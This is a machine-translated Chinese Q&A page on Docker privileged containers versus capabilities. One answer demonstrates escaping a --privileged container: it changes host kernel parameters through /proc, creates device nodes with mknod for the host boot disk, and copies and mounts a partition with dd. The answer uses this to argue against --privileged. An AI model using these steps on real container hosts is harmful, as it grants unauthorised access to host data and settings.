特权容器和功能

Privileged containers and capabilities

如果我是运行特权模式下的容器,它是否具备所有内核能力​​,还是需要单独添加?

a good article from RedHat covering this.

虽然 docker 容器 运行 as "root" 在主机上的权限低于 root,但它仍可能需要根据您的用例进行强化(用作开发环境与共享生产集群)。

运行 在特权模式下确实赋予了容器所有的能力。 但最好始终为容器提供所需的最低要求。

Docker run command documentation指的是这个标志:

Full container capabilities (--privileged)

The --privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-cases, like running Docker within Docker.

您可以使用 --cap-add 标志赋予特定的能力。有关这些功能的更多信息,请参阅 man 7 capabilities。可以使用文字名称,例如--cap-add CAP_FOWNER.

您永远不想 运行 使用 --privileged 的容器。

我正在我的带有 NVMe 驱动器的笔记本电脑上执行此操作,但它适用于任何主机:

docker run --privileged -t -i --rm ubuntu:latest bash

首先让我们做一些小事,测试 /proc 文件系统

来自容器:

root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60
root@507aeb767c7e:/# echo "61" > /proc/sys/vm/swappiness    
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60

好的,它是为容器还是为主机更改的?

$ cat /proc/sys/vm/swappiness
61

糟糕!我们可以任意更改主机内核参数。但这只是一个DOS情况,让我们看看我们是否可以从父主机收集特权信息。

让我们遍历 /sys 树并找到引导磁盘的主要次要编号。

注意:我有两个 NVMe 驱动器,容器 运行在另一个驱动器上的 LVM 下

root@507aeb767c7e:/proc# cat /sys/block/nvme1n1/dev
259:2

好的,让我们在 dbus 规则不会自动扫描的位置创建一个设备文件:

root@507aeb767c7e:/proc# mknod /devnvme1n1 b 259 2
root@507aeb767c7e:/proc# sfdisk -d /devnvme1n1 
label: gpt
label-id: 1BE1DF1D-3523-4F22-B22A-29FEF19F019E
device: /devnvme1n1
unit: sectors
first-lba: 34
last-lba: 2000409230
<SNIP>

好的,我们可以读取启动盘,让我们为其中一个分区制作一个设备文件。虽然我们无法挂载它,因为它会打开,但我们仍然可以使用 dd 来复制它。

root@507aeb767c7e:/proc# mknod /devnvme1n1p1 b 259 3
root@507aeb767c7e:/# dd if=devnvme1n1p1 of=foo.img
532480+0 records in
532480+0 records out
272629760 bytes (273 MB, 260 MiB) copied, 0.74277 s, 367 MB/s

好的,让我们安装它,看看我们的努力是否奏效!!!

root@507aeb767c7e:/# mount -o loop foo.img /foo
root@507aeb767c7e:/# ls foo
EFI
root@507aeb767c7e:/# ls foo/EFI/
Boot  Microsoft  ubuntu

所以基本上任何允许任何人在其上启动 --privileged 容器的容器主机都等同于授予他们对该主机上每个容器的根访问权限。

不幸的是,Docker 项目选择了可信计算模型,在 auth 插件之外没有办法防止这种情况发生,所以总是在添加所需功能而不是使用 --privileged.